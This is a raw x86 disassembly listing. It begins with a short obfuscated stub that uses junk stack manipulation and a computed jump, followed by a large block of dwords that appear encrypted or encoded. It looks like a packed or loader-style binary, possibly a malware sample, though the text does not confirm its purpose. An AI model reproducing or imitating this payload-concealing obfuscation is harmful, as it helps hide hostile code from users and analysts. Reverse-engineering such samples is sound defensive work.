push 61A8633h
mov ebx, [esp]
add esp, 4
push esp
mov ebp, [esp]
add esp, 4
push ebx
push esi
mov esi, 4C8A1035h
add [esp+4], esi
pop esi
pop dword ptr [ebp+8]
sub dword ptr [ebp+8], 4C8A1035h
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
pop eax
mov eax, 61A9206h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dd 254D9C76h, 310D8387h, 9038A8B9h, 127E92BCh, 0EB0F92FBh
dd 0EB1042C4h, 421A93F1h, 0D221AE58h, 0CB2A5C6Dh, 7E4DA0A4h
dd 637757C4h, 0B25C4390h, 4E13B130h, 56760841h, 7F796B35h
dd 0C9353A04h, 0CC7C089Fh, 52367B38h, 3756BD4Fh, 0F164CCD8h
dd 2416A28Fh, 2B4E1F48h, 0E82DEC0Eh, 0Ah, 0AF316A98h, 19D58F88h
dd 5FF8755Eh, 597CB752h, 0E52DC781h, 8B0F0000h, 5, 0A9E38166h
dd 0E9C033E6h, 6, 0DBF45115h, 34FF4982h, 0E3816638h, 0F5EB166h
dd 48Ch, 56B96600h, 32C68127h, 0E95815EDh, 6, 0B6452290h
dd 0C681B2DFh, 656C26A9h, 0C68191B1h, 7C50A135h, 8056C2B7h
dd 48F1AE5h, 0D68B6607h, 8118B060h, 784621DAh, 0E8836119h
dd 0F881FC04h, 0FFFF1B58h, 0FFA8850Fh, 8B66FFFFh, 9E8CEh
dd 48CB0000h, 6F82B9C3h, 56D11A7Bh, 5EDBB70Fh, 81DE8B5Ah
dd 5864C2h, 0C933FC00h, 8BF2B70Fh, 0B70F0A3Ch, 0DBC781DEh
dd 0F2E13F8h, 0C781F7B7h, 7BEE26CCh, 0EF81F28Bh, 4AB35944h
dd 57C68B66h, 48FFE8Ah, 0D9BF0F0Ah, 4567F381h, 0E9837141h
dd 0C68B6604h, 0A7F8F981h, 850FFFFFh, 0FFFFFFBFh, 0ECE9ECB3h
dd 0
dd 37000000h, 37C8106h, 587C81CEh, 57C80C0h, 0ED7C9010h
dd 7C9010h, 276F200h, 5 dup(0)
dd 0A0000000h, 7C80ADh, 2Bh dup(0)
dd 6000000h, 14000000h, 5F1639E7h, 49516754h, 0BA4FAC37h
dd 8C337614h, 0C4B2753Fh, 0C8B973EEh, 0AD8F9607h, 44340670h
dd 9FB11C13h, 172139E7h, 0D82B6166h, 0FCF29E35h, 22321177h
dd 1C4F90EFh, 15BF1375h, 4227BC1Bh, 7A69C699h, 3DB3A8E5h
dd 0FC321375h, 0FC614571h, 22321177h, 1C4F90EFh, 15BF1375h
dd 4227B30Ah, 7A69C699h, 1121FC93h, 1D791566h, 0C66EBC2h
dd 0A78ACF64h, 0E14F6BDBh, 946BA2h, 68B3452Ah, 6A767B42h
dd 0AF644D79h, 977A5108h, 4B6CE567h, 223214E7h, 0ACB1EC66h
dd 8E28816Fh, 7B61A66h, 2D321566h, 113214E0h, 0DBFE066h
dd 42286AE3h, 22339A69h, 0EECA1566h, 80DB75B6h, 0A4321566h
dd 0DCBF0353h, 708BEBE5h, 88339669h, 0C9CA1566h, 384DA0E3h
dd 19B91A60h, 87321566h, 443217E4h, 0DD537566h, 94F4E0B6h
dd 8E210487h, 165AE930h, 0DEAEBDDEh, 1132128Fh, 0FE6F8566h
dd 4D4CA4DEh, 3CDBA099h, 993D1375h, 88321567h, 0FB3D759Fh
dd 0A7BF7498h, 17246955h, 0E8E2EA9Fh, 1D7EAB06h, 2ADB1325h
dd 0D9321566h, 2C6D63BCh, 25B6CADEh, 0A7BB749Ah, 172108CFh
dd 8FBD1A9Fh, 4B321566h, 223214E3h, 94F5ED66h, 8E2106EFh
dd 44321566h, 80897306h, 0D7CE740Ch, 9B23F4E3h, 50DB5060h
dd 15321566h, 0F43FABD2h, 530D12B3h, 0D8C4FE89h, 0C4181902h
dd 79E989FDh, 6407C0Fh, 0FA544606h, 446DA563h, 707BA0D9h
dd 995FA099h, 48DB1375h, 1B321566h, 71732A2Bh, 38C3FEF6h
dd 0C9A0F207h, 3108B8E3h, 9F3D7560h, 88321565h, 0ADF59E00h
dd 22321560h, 89824781h, 775370E9h, 48B01AB6h, 0CB321566h
dd 11321561h, 7ADB9BD0h, 0CD201ED2h, 311CA0E3h, 94F4EC60h
dd 8E210487h, 45B11A25h, 0D7321566h, 76594B0Eh, 36CB75FAh
dd 227D959Bh, 4F87EA07h, 71340677h, 80DB09D4h, 0AF321566h
dd 0AB986D3Ch, 7041BE8Fh, 0B29F90EBh, 48DB1375h, 63321566h
dd 31EBC7DEh, 1FAD2577h, 0BBC436D7h, 27DB75B6h, 4B321566h
dd 3157D579h, 0B5B79C07h, 0DA340FF5h, 0D390A0h, 70661375h
dd 265A3C0Eh, 2EB51A88h, 0F8321566h, 88321561h, 64890BCAh
dd 0DAB60245h, 5FA099h, 0F3D1375h, 44321567h, 0A7BFEC9Eh
dd 17212FCBh, 88339A69h, 0BBCA1566h, 0A7BBEDB6h, 17288693h
dd 88321F8Fh, 0F73D7866h, 0C91C00EAh, 1EDAADA1h, 883202E6h
dd 55B51A66h, 0CB321566h, 1132156Ah, 423BDA1Bh, 408CF8F5h
dd 356BE08Dh, 0D390A0h, 0E8771375h, 47BF1A9Eh, 44321566h
dd 7953C3EDh, 52522DA4h, 2987EA93h, 2D340677h, 11321DEEh
dd 8AB61A66h, 24321566h, 8FB79807h, 1E34065Ch, 883212E5h
dd 45B11A66h, 0DB321566h, 0EDCBC599h, 1BCB90EFh, 0C33D137Ch
dd 22321567h, 2C8F969Fh, 88340671h, 452F9069h, 0AA3D1566h
dd 1132156Eh, 88309369h, 25521566h, 33D390A0h, 1E771375h
dd 883203E3h, 54B31A66h, 0CB321566h, 1132156Dh, 8B25EDDDh
dd 897B4456h, 4A359C66h, 0EB126BE0h, 99DA759Eh, 0FA321566h
dd 1AB2F813h, 0A78D7BBFh, 81718237h, 481B640h, 2232198Fh
dd 4E5E4F66h, 6667387Ch, 7B95E617h, 588B4B5Dh, 70501859h
dd 995FA099h, 0C9C71375h, 3108B8E3h, 0BA1A60h, 61321566h
dd 4432156Ah, 0EA3C508Ch, 4D6F1339h, 98A600B4h, 0CDCBC599h
dd 38A1E8E3h, 1BB71A60h, 61321566h, 44321563h, 29826EDBh
dd 0F0B7D308h, 0C4340677h, 443BFC93h, 27FA1566h, 3815B1BAh
dd 0E0F024E1h, 0A414C5A5h, 22349969h, 43521566h, 0E953753Fh
dd 555FA099h, 0AFCE1375h, 208B8E3h, 85B41A60h, 24321566h
dd 72D19400h, 2E2949Ah, 0E931A3AAh, 0CB3DC599h, 22321567h
dd 10B79C9Ah, 61340FF2h, 44321577h, 0A5243A90h, 0DA1728B2h
dd 264F719Dh, 14812694h, 2367FC9Ah, 77521566h, 3D866DEh
dd 82CA74BFh, 3123F4E3h, 9A524760h, 4B8D1AA8h, 495AED07h
dd 0DA8E5F82h, 5FFA099h, 9CDB1375h, 5D321566h, 47CB7066h
dd 0F9D90C0Eh, 196E1F58h, 0EDEA1700h, 0AFBE73D5h, 208B8E3h
dd 87DB7560h, 79321566h, 1786B13Dh, 8A2595D4h, 5DC71A59h
dd 15622B31h, 0DD534A38h, 33B91AB6h, 0E8321566h, 4432018Eh
dd 240A766h, 52B40A16h, 0FBC90DC8h, 0CB2F2FA5h, 9CF6476h
dd 983D4F97h, 88321566h, 0B9B79C07h, 0DA340FF5h, 0D390A0h
dd 87601375h, 44320CECh, 2226FC66h, 0A67A1566h, 90781FF2h
dd 0D38E3671h, 93B92762h, 673188A9h, 3D53B0h, 44321567h
dd 687A7D93h, 973DB32Ah, 88321562h, 25537506h, 36FFA099h
dd 943D1375h, 88321571h, 4432078Fh, 0F0F4B166h, 11EFDE21h
dd 0A3F3EC1Fh, 0A918C863h, 0AFE4A1C9h, 208B8E3h, 81B01A60h
dd 24321566h, 6548CDD9h, 7023A719h, 8832068Fh, 0C2C90866h
dd 0A9CF0471h, 9962A2Ch, 0AA3DC347h, 17E3CDBCh, 31DBC599h
dd 31321566h, 3B9DF7DAh, 2B0B1CCAh, 0FE61078Eh, 4C2F455Ch
dd 1C73447h, 5EA614E3h, 0AE3D7560h, 1132156Ch, 8832108Fh
dd 9050B66h, 0AE3D481Bh, 11321564h, 4E5392D1h, 5723F4E3h
dd 4AC74760h, 0EC70A18Ch, 26E99506h, 44379569h, 0A3541566h
dd 708BCBBFh, 995FA099h, 0AD521375h, 22321575h, 30B8B938h
dd 71AA0F36h, 0D726C5B4h, 3795ECD1h, 0F9C7C371h, 8832156Eh
dd 949D1C7Ch, 5D7B760Dh, 11329E69h, 0E96A1566h, 7E9F90EBh
dd 0A9521375h, 0E38D1AA8h, 93B41A07h, 24321566h, 2232048Fh
dd 0C5243F66h, 1E36AE54h, 0DE83E96Ah, 0DA066798h, 0A63D7940h
dd 58CD7498h, 44209A69h, 2FDB1566h, 39321566h, 18A6805Dh
dd 0A4B4BF59h, 0EA6DBF18h, 77F09E06h, 7E06FDE7h, 25B79C07h
dd 2D340668h, 11320EE7h, 41B27566h, 4422FD9Eh, 0EA471566h
dd 0C39AA28Ah, 1C93D14Fh, 50D3082Ah, 436BEE54h, 0D390A0h
dd 7D451375h, 0C43DE906h, 2232156Bh, 11321D8Fh, 1A6ABB66h
dd 0ABD6AEB4h, 815A747Ch, 0F8C182CEh, 88321575h, 0C4EB67B3h
dd 69AFC12h, 7979C616h, 52995FA9h, 0AD268A91h, 22321561h
dd 0F733A166h, 77678B86h, 5722C4D3h, 0A7BFE960h, 17212FCBh
dd 88399D69h, 42DB1566h, 0D6321566h, 0B6B72FFDh, 71E2EAB7h
dd 640390EFh, 2EDB1375h, 12321566h, 0D8A6C086h, 0F0CE74B1h
dd 42346A4Bh, 70F09E00h, 99D390A0h, 0B8601375h, 0FF03020Eh
dd 10B91AECh, 7D321566h, 555FA099h, 0AFCE1375h, 208B8E3h
dd 883DFC60h, 0B7641566h, 0C1DDB664h, 14F79405h, 3705A591h
dd 0B1E2EA3Fh, 2232048Fh, 0FF2EB466h, 0AAF590FCh, 0F7B8C304h
dd 2E389BFFh, 94BBF2F6h, 8E213EBFh, 0A5B7D39Ah, 74340677h
dd 11279569h, 98DB1566h, 57321566h, 8F328408h, 2639A223h
dd 45C7E2D6h, 2C354292h, 0F62D785Fh, 0F887EA93h, 87340678h
dd 443214E3h, 0CA52E066h, 11321560h, 5BFB2950h, 90B88554h
dd 24BA1A39h, 1E321566h, 883215EEh, 0C1BF7466h, 24246955h
dd 0AE3DE006h, 58CD74A7h, 4432018Fh, 9F669C66h, 0E8769E11h
dd 3549BD80h, 5B832E22h, 0DF039DB7h, 24B79C0Dh, 61340667h
dd 44321575h, 0A969A37h, 0C07B421h, 0D25F1BF6h, 8D15114Ch
dd 0E4FBE962h, 223F4E3h, 0E0CA5260h, 0C5EE051Ch, 2DC39E06h
dd 113217EEh, 0E9C19F66h, 2987EA9Eh, 2D340677h, 113214EEh
dd 0DBFED66h, 42212FCBh, 22339369h, 0EEC71566h, 13D75B6h
dd 44321564h, 0DCB94C34h, 84B79C07h, 7D340675h, 0B5B37306h
dd 0A63DE883h, 11321560h
dd 88329969h, 82531566h, 3123F4E3h, 1E525260h, 0E053EAD1h
dd 0CE3DA084h, 0F8E09406h, 773C741Ah, 0B68AD7E7h, 2987EA07h
dd 0DA340677h, 2B9F90EBh, 0E9521375h, 2252C599h, 7964D4E7h
dd 6EDB33DFh, 0DBB7421h, 42288147h, 2D52A606h, 113215EBh
dd 0DF57466h, 42211067h, 2232151Eh, 11321D8Fh, 0C4611766h
dd 6C330BF4h, 0C78F96DCh, 11340661h, 903C9169h, 0C73D1566h
dd 2232156Eh, 0C747AB06h, 0E9CB3D02h, 55D390A0h, 0CB7E1375h
dd 11321563h, 56103EDEh, 58DB7D78h, 42C7CCBCh, 0BA7ED6E7h
dd 9545631h, 255D02B7h, 335FA099h, 9B3D1375h, 88321567h
dd 0E9B7989Ah, 4234065Ch, 0BF38AE00h, 0E9F59E00h, 44339F69h
dd 0DDCA1566h, 113FFCB6h, 8A881566h, 6DC50182h, 4CB1FB51h
dd 98BAC7A7h, 92A618E3h, 0C1F4E960h, 24210487h, 1121FC2Ah
dd 684F1566h, 5BDA47A9h, 967DE5E8h, 4A59BDD0h, 72DA92BCh
dd 9AFC7D7Ch, 0A852C812h, 0DFD994BBh, 0E95826EDh, 4432068Fh
dd 222C9666h, 1C957496h, 0BF7276B2h, 0E1B356A9h, 269FCC2Fh
dd 5FA099h, 7D521375h, 44259769h, 30DB1566h, 73321566h
dd 26E6031h, 0BC84217h, 8C50DFF8h, 0EB27150Fh, 0DBF74E3h
dd 42212FCBh, 22321E8Fh, 0D87F5E66h, 0C51CCAE4h, 69E84C88h
dd 2ADBC599h, 0F7321566h, 0E156B2B4h, 247833C8h, 2232188Eh
dd 0FB570666h, 708EE3ADh, 48F57A78h, 0A3545DB9h, 48FB98A7h
dd 0E997F1E6h, 0D02390EFh, 4452137Ch, 70EB32DCh, 99D390A0h
dd 4B7E1375h, 223203EFh, 1123FC66h, 94931566h, 83B78F88h
dd 0A8E47744h, 1BBC8CD5h, 0E0D5856Ah, 0F3B39759h, 4F87EA9Eh
dd 71340677h, 0E8C2A269h, 25534A35h, 189F90EBh, 0F8521375h
dd 88321577h, 169E948h, 0FEE9EBF3h, 0B362CC44h, 81210932h
dd 4435FC30h, 8CF91566h, 679591D6h, 58CD74C4h, 4432138Fh
dd 280D2566h, 98387FE5h, 92A600E3h, 4EBF1A60h, 0CB321566h
dd 11321563h, 7E2048F2h, 443CFC53h, 895F1566h, 83401131h
dd 0B8AE9792h, 1A30F156h, 33D390A0h, 0E97E1375h, 0A7720D0Eh
dd 443BFCD5h, 0EEC61566h, 0B052AD69h, 612BA17Eh, 44321574h
dd 0E788E8C0h, 8DF2B5E6h, 13F89468h, 0CD1980C6h, 97CD936Eh
dd 1721040Bh, 883B9A69h, 0BD521566h, 1A9BC2E7h, 9C53613Eh
dd 9B08B8E3h, 45BF1A60h, 0DE321566h, 9052C599h, 613367BDh
dd 0C93D741Dh, 22321561h, 11339369h, 1CA1566h, 5EA600E3h
dd 0D3B37560h, 3317E05Ah, 69B7D307h, 2340677h, 44C19E06h
dd 701CC1DCh, 5634010Eh, 5DB71ADCh, 0CB321566h, 11321572h
dd 0D10EB3CCh, 0E91F374Eh, 97B0DA76h, 7B5786E4h, 0CBE2629Ah
dd 555FA099h, 0AA3D1375h, 11321567h, 25B7989Ah, 0AD34065Ch
dd 2232156Bh, 6371BF4Ch, 0AF13BE21h, 7F6CB2FAh, 0CBE2EA55h
dd 11321574h, 36CDEBB7h, 17FF8F40h, 7DFB3507h, 0E1FE32F7h
dd 0DBB033Bh, 4228817Bh, 2F87ED06h, 0F0B7D307h, 0CF340677h
dd 44321C8Fh, 4C3D4766h, 91EB67B3h, 0F25AFC12h, 24B3C976h
dd 44E29E00h, 5AA1FAE7h, 0E587EA07h, 0BC340677h, 189F90EBh
dd 1ADB1375h, 0D9321566h, 6A42BCE1h, 5C54D0BEh, 0C1CDD5B6h
dd 40B3EC06h, 6EB8AE94h, 0A7BBED07h, 17288143h, 69B7D393h
dd 3340677h, 2235FC06h, 96AC1566h, 0AE88D18Ah, 0E85A74B8h
dd 42DD92E8h, 11379869h, 698C1566h, 223CCA7Ch, 4253CAEDh
dd 11369369h, 33541566h, 0F33DD5F0h, 97CD7496h, 1721040Bh
dd 54B2759Eh, 4423FD3Fh, 23151566h, 617426F1h, 2F8C9BA3h
dd 0C8FF08A6h, 939D8789h, 9C534BD1h, 9B08B8E3h, 45B21A60h
dd 0DA321566h, 7752C599h, 0EE23CBDFh, 25E0C6DEh, 223EFC06h
dd 0F88D1566h, 3E89E117h, 0ABEB3EE3h, 0AB536B1Fh, 0BA63CE3h
dd 99B81A60h, 4B321566h, 22321EE8h, 1134FC66h, 5CDF1566h
dd 0EF328A65h, 33D390A0h, 71751375h, 88309A69h, 25521566h
dd 22321C8Fh, 2ADC2A66h, 0E1BC23C5h, 0AD53D446h, 22321561h
dd 0C88F3B69h, 0E0435DDFh, 90A8B2B4h, 2232078Fh, 7BB0D766h
dd 94784395h, 0A861B72Fh, 58212F6h, 0EEC3B283h, 9B2378D3h
dd 0FC547560h, 0AC3D2917h, 11321564h, 553D5D7h, 5708B8E3h
dd 31B71A60h, 1E321566h, 883218E1h, 443AFC66h, 1BE61566h
dd 92147C6Ah, 58CDC900h, 4432018Fh, 86B3F566h, 3A803B4Ch
dd 2AD99EFAh, 0B3EC384Bh, 4116BC25h, 3CB79C76h, 87340FF2h
dd 443213E3h, 7A647566h, 0D7537406h, 9B23F4E3h, 56DB5260h
dd 0E321566h, 0A2BC3556h, 0D63E2DBBh, 3BF85854h, 8AF239BBh
dd 155AED23h, 8788D45Fh, 44320DE5h, 33DB7566h, 8321566h
dd 0C06D3F71h, 60726FC1h, 94F37FEEh, 72FBB915h, 0E587EA07h
dd 0AD340677h, 22321577h, 0D505DA0Dh, 8E01C41h, 0B7746111h
dd 93E35394h, 0BCB798B3h, 0E834065Ch, 2E3D18D9h, 43C79F3Dh
dd 7752C599h, 1B06FAE7h, 4432078Fh, 0ED959666h, 2E0ED9D5h
dd 0F664EAC0h, 0E890ED26h, 43857F88h, 20B79C93h, 61340FF2h
dd 44321563h, 742A36F5h, 113DFCB7h, 2161566h, 3C9CEFh
dd 0C1D858B4h, 1ADA5B4Ah, 0F18F9620h, 44340671h, 225D9069h
dd 71CB1566h, 354E5ECh, 0C1F474B7h, 24210487h, 765AE921h
dd 0E8D2674Bh, 85F1AE00h, 43C89E00h, 1132068Fh, 20352D66h
dd 87A25DE4h, 6D3530E7h, 9617B03h, 0A2BE67C0h, 555FA099h
dd 42CB1375h, 1E52F4D1h, 883215E1h, 83FF9566h, 0A7BF7407h
dd 17212FCBh, 87E2EA93h, 443214EBh, 0ABCAE966h, 0BA620E3h
dd 8835FC60h, 19251566h, 50D1A5C5h, 0F0B7D341h, 0CF340677h
dd 44321A8Fh, 8CF15266h, 656938FEh, 7835E3Ch, 0DF577F62h
dd 0B81A40Eh, 905475E8h, 876368B6h, 0BB53CED1h, 312378D3h
dd 94BFEC60h, 8E212FCBh, 2211A606h, 4325E5E7h, 71E2EA07h
dd 0E9CE50D2h, 0D00B90EFh, 0E4CA137Ch, 223F4E3h, 0C3D5660h
dd 44321567h, 68957D9Fh, 923DD510h, 88321561h, 44339869h
dd 0CBCE1566h, 11321569h, 495BFF0h, 0CF016AFh, 0E939EE36h
dd 0EEFBB317h, 9B2378D3h, 4B52E960h, 0A354C6D1h, 70AAA8BDh
dd 0B29F90EBh, 54DB1375h, 19321566h, 0E5CE3498h, 3B7E97A2h
dd 5145B2DDh, 0DD6A0C01h, 1135FCB6h, 0CE771566h, 1A142FC4h
dd 1FB79C02h, 71340FF2h, 0D8FBAA69h, 4B534E93h, 223201E5h
dd 113DFC66h, 7F491566h, 0E8C200B0h, 38C04A72h, 0CD802CA4h
dd 69B7D30Dh, 8340677h, 22359369h, 933D1566h, 88321567h
dd 28D97D9Fh, 31DBEE00h, 0DC321566h, 442201C9h, 40531A0Dh
dd 8A725B32h, 0F56DA3A3h, 3DCD52F5h, 422105B7h, 2232188Fh
dd 0DFF01466h, 0CC04BCF3h, 4C567D5Ch, 0A7BFAD7Dh, 17212FCBh
dd 8832068Fh, 84B1BD66h, 0DA02613Fh, 0A3B74254h, 4EE9ADD6h
dd 820D8979h, 0ABCBC599h, 0BA6C4E3h, 8FBD1A60h, 24321566h
dd 42A3E3E6h, 94F47407h, 8E210487h, 0BAB97522h, 775A749Eh
dd 0F88966E8h, 88321561h, 0F8B672ECh, 0DDC4E080h, 22378D3h
dd 0F3DE060h, 4432156Ch, 2232108Fh, 5F9A66h, 0DBFDCBDh
dd 42212FCBh, 2232108Fh, 0BB3AB66h, 58CD6159h, 44379969h
dd 44521566h, 1E53E2EDh, 883214E0h, 0C1BBE966h, 24288127h
dd 12BB1A06h, 0EE321566h, 8253DEEDh, 3123F4E3h, 9E3D5660h
dd 8832156Ch, 9EB97306h, 2D0050D8h, 0ED5A745Dh, 0E88E9B08h
dd 0CF54CBEDh, 445274A8h, 0AE7A05D9h, 0D85F0596h, 2987EA07h
dd 0D7340677h, 2B9F90EBh
dd 87521375h, 443214EDh, 0DD53E966h, 94BBE9B6h, 8E288123h
dd 44269969h, 44521566h, 0F80D8DDEh, 8832156Fh, 14A14A9Dh
dd 55125A7Ah, 1CDB74F2h, 0CF321566h, 5C45C197h, 0BE61C7DCh
dd 62929C75h, 99D390A0h, 4B611375h, 223201E5h, 113DFC66h
dd 0D7AC1566h, 0EC37597Ah, 3E84A576h, 0E383F193h, 0B6987D0Ah
dd 0AD52D376h, 22321560h, 37C4F032h, 8FDB58A4h, 95321566h
dd 203DA313h, 715381C1h, 8839FC37h, 0CE21566h, 0AA1CB548h
dd 0FA6E3122h, 8EDA4EABh, 3F321566h, 8B37BA82h, 11B81A20h
dd 0D7321566h, 2987EA07h, 2D340677h, 113212E6h, 89BA1A66h
dd 0BC321566h, 189F90EBh, 71CA1375h, 8832048Fh, 0BAB74E66h
dd 1E8BE02Dh, 332D797Ch, 3FC31D6Ch, 4FDA5D71h, 0EC321566h
dd 0D2A1F5F7h, 589D1C7Ch, 2568760Dh, 2D52C599h, 1BDBE5D9h
dd 0B1321566h, 0D53C39C5h, 9EA17EC6h, 94BB7481h, 8E28812Fh
dd 598F969Eh, 22340679h, 12F79169h, 87521566h, 443207E0h
dd 223FFC66h, 8F781566h, 6E2660F9h, 0F9A958BBh, 9CB12242h
dd 649E0D8Fh, 69B7D307h, 2340677h, 0A954E006h, 205A74BFh
dd 70C883A8h, 555FA099h, 0AE3D1375h, 11321567h, 25B7989Fh
dd 0BC34065Ch, 0A352C599h, 3B0366ACh, 883AFD11h, 0FCA81566h
dd 467B93A3h, 1681117Dh, 0DBB743Fh, 422881C3h, 2232188Fh
dd 2142BE66h, 6AC3EC2h, 42122D67h, 0E4C7086Eh, 223F4E3h
dd 0E0CE5360h, 0B8952FB0h, 2226FD06h, 17FA1566h, 64AEB86h
dd 656DCC9Dh, 0E76227F5h, 0C6499FC8h, 4AB96C04h, 0B48D1A38h
dd 4F87EA07h, 71340677h, 40E0959Eh, 0E9B79807h, 4234065Ch
dd 0D6851A9Ah, 70E2EA07h, 0D08790EFh, 0AA3D137Ch, 1132156Bh
dd 88321D8Fh, 83BC3966h, 0C564303h, 0F0B7D3A2h, 0CE340677h
dd 4432058Fh, 243B7666h, 1B8F2C31h, 9EE3B07Fh, 8A6E8C27h
dd 86327DE9h, 1CDB879Ah, 0A3321566h, 0FEB24A14h, 0ED894E0Ch
dd 29588C61h, 8832048Fh, 0F2526266h, 86DF44AAh, 0FC818B70h
dd 1DBF22B8h, 0F1CD5510h, 2421040Bh, 1121FC06h, 0DCDC1566h
dd 3F47811Eh, 0EB6EB7AEh, 795B13D5h, 1E3F3CABh, 0C1BF74BDh
dd 24212FCBh, 112A9C69h, 9BDB1566h, 56321566h, 696E114Fh
dd 0E1E987A5h, 0B18318D4h, 0F782C661h, 0F2CD3CB9h, 0A8B79C93h
dd 71340FF2h, 55D390A0h, 2D741375h, 113214E1h, 0E25AE066h
dd 0BDC4C129h, 335FA099h, 9CCE1375h, 9B08B8E3h, 42DB7560h
dd 91321566h, 98827C98h, 80DB7431h, 25321566h, 2833E506h
dd 0EEF7B033h, 70B975B6h, 1FE59E35h, 9FB79C07h, 0ED340FF2h
dd 88289669h, 0C4521566h, 2DDAAC84h, 0BA321566h, 0C10F45FCh
dd 0CA038EA7h, 3B803114h, 706B3FDBh, 99D390A0h, 4B741375h
dd 22320CE3h, 1126FC66h, 11901566h, 0F7D4C719h, 0FDA4BCD3h
dd 6B6A93B4h, 5593CA5Dh, 55DB87C8h, 2F321566h, 0A2F1AFEDh
dd 4178F086h, 302E32C7h, 295582F3h, 0DC62F20Eh, 5EB375F2h
dd 700BA8BBh, 0DD53CBEDh, 22378D3h, 90B81A60h, 0AD321566h
dd 22321575h, 2DA6C4F5h, 1D2CABC1h, 6977F65Fh, 5A9DF4E0h
dd 0E9C886CFh, 0B29F90EBh, 0AD521375h, 22321576h, 0E726908Fh
dd 0B02CFE91h, 49DCACB1h, 3B613073h, 11329969h, 77531566h
dd 55DA75B6h, 0DE321566h, 0C7366E07h, 56D23392h, 7A2CECAAh
dd 0E4CC9386h, 8AF89400h, 23D4A43h, 44321562h, 1189AA00h
dd 0B8B79C07h, 74340FF2h, 55D390A0h, 0DB741375h, 33462E0Eh
dd 883EFCD7h, 0D51D1566h, 10568F31h, 516A094Dh, 3DCD64B4h
dd 4221040Bh, 0EAB97306h, 11321E8Eh, 87F8E866h, 0F00FC8B0h
dd 0B7D1DC4Ah, 4EEC9E00h, 0DBFE007h, 42212FCBh, 22219969h
dd 1FDB1566h, 0DF321566h, 24BFAD74h, 0A48AC04Ah, 45CDA1E0h
dd 0E8E2EAFDh, 4432108Fh, 68E76366h, 1E533DBFh, 883201ECh
dd 4AB11A66h, 0CB321566h, 1132156Fh, 2CC91E2Dh, 7B74EDB2h
dd 8FB79CA6h, 1E340FF2h, 883214E2h, 82CBEC66h, 3123F4E3h
dd 9A3D5360h, 88321561h, 44339B69h, 4ACB1566h, 0CE4BFF8Bh
dd 0D6627506h, 44321D8Fh, 5249A66h, 24549F5Dh, 354745Ah
dd 0F1CD74B5h, 2421040Bh, 11269269h, 87DB1566h, 0E2321566h
dd 1A4C5Ah, 0DE22B84Bh, 1BB0A0E4h, 0CF527F03h, 0A7BF749Dh
dd 17212FCBh, 8832018Fh, 0EB6E1D66h, 6F27F02Bh, 0F2F86C85h
dd 3684172Ah, 4B481179h, 2DE2EA60h, 113210EDh, 0E9527566h
dd 0C1BB749Fh, 242881D7h, 0C3B3759Ah, 8FA9D96Dh, 0C753D2EDh
dd 31256CDBh, 943D1560h, 883215F1h, 4421FC06h, 0D6DD1566h
dd 54F4E46Fh, 540B91B4h, 0F0A6FC7Eh, 0DA76C943h, 0C9B97330h
dd 883FFC07h, 29C51566h, 118D042Fh, 9682B288h, 4E940E38h
dd 5723F4E3h, 44524660h, 0A63DD6EDh, 0D65A74AFh, 4BFCAB86h
dd 22321EEAh, 9E8A7566h, 0EE01AE00h, 2565F5D8h, 335FA099h
dd 17DB1375h, 61321566h, 0CE805205h, 8FB79811h, 0ED34065Ch
dd 9CDBC599h, 0BB321566h, 7F380C3Fh, 6770721Eh, 0CFA0E2B1h
dd 0F264326Dh, 0ABB3D2CCh, 0BA658E3h, 5FB97560h, 0E86FF2E7h
dd 0E45345CFh, 223F4E3h, 7D525260h, 44349B69h, 0F4B31566h
dd 3132F93Ch, 0D6B57D07h, 0CB3DD2D7h, 2232156Bh, 0D3B37306h
dd 93DB0D7h, 44321566h, 4F87EA07h, 0ED340677h, 0B29F90EBh
dd 4B521375h, 223217E1h, 0E8694266h, 0E8E2EA07h, 0B863DEEDh
dd 0A7BB743Fh, 17288137h, 8832048Fh, 67D3A766h, 72B20040h
dd 0CBB0C785h, 0E1C1C65Eh, 0F9B18835h, 2421021Fh, 71B71A66h
dd 0E8321566h, 44349769h, 0C0B31566h, 592A1588h, 0E9C39E00h
dd 55D390A0h, 0DE751375h, 734C100Eh, 3DCDED80h, 4221040Bh
dd 8FB7989Eh, 7134065Ch, 88369A69h, 0FA541566h, 0DD5374DAh
dd 168C75B6h, 610B6B04h, 44321575h, 3B2592Fh, 0B8785088h
dd 0F822FD5Bh, 0ECE584C9h, 43EE6894h, 856790EFh, 4ECA137Ch
dd 5723F4E3h, 0A43D5660h, 1132156Dh, 8832138Fh, 86DB6B66h
dd 4A9851C0h, 83481C90h, 88321B8Fh, 8C2F8866h, 81BFD862h
dd 78C76E46h, 0E8AFEFDBh, 0BCC8A269h, 4F87EA07h, 71340677h
dd 61F8A269h, 4432156Eh, 0F3C7E679h, 394D7A60h, 25B79807h
dd 4B34065Ch, 223202E6h, 1120FC66h, 73021566h, 0C917124Dh
dd 0DFA72FEDh, 0D507EB81h, 0D0BDA4Bh, 0F152C599h, 24B61AF0h
dd 90321566h, 1DABB48Eh, 0C1BB7407h, 2428813Fh, 1132138Fh
dd 0EB3BB366h, 82ACAB41h, 3123F4E3h, 79C75660h, 74138246h
dd 44359769h, 0A83D1566h, 11321567h, 0E587EA93h, 0AD340677h
dd 22321575h, 0EF7FAB92h, 0D2E7325h, 0E2D5A04Fh, 1F402471h
dd 9C543745h, 9B08B8E3h, 0C5547560h, 2D85AFADh, 113211E0h
dd 0C1887366h, 94CD74A7h, 223A9869h, 993D1566h, 88321564h
dd 0C1BB7406h, 2428813Bh, 688F969Fh, 88340671h, 44D49069h
dd 0A83D1566h, 11321561h, 88339669h, 0ADCA1566h, 22321574h
dd 0AAB5D648h, 48B49F3Dh, 952CB764h, 0C4F0BC9Fh, 94F4E6C5h
dd 8E210487h, 475AE025h, 42B915CEh, 1CDA439Ah, 1F321566h
dd 0BBEB4E26h, 0A4D77145h, 87AEFD0Fh, 87534A3Dh, 443214ECh
dd 97CDEC66h, 1721040Bh, 8832068Fh, 7A636A66h, 111BCE57h
dd 0C6F80076h, 684852BDh, 8538E044h, 189F90EBh, 0EECA1375h
dd 9DB31AB6h, 24321566h, 22321E8Fh, 2A484D66h, 26EFB4B9h
dd 31ABCDF4h, 43C19E00h, 855790EFh, 8752137Ch, 443217EEh
dd 43E39E66h, 0D390A0h
dd 61711375h, 44321569h, 0CC44DE0Ch, 1882FCAAh, 45EC1663h
dd 2CDBBE29h, 0C76923B3h, 7C87EA9Fh, 71340677h, 7E9F90EBh
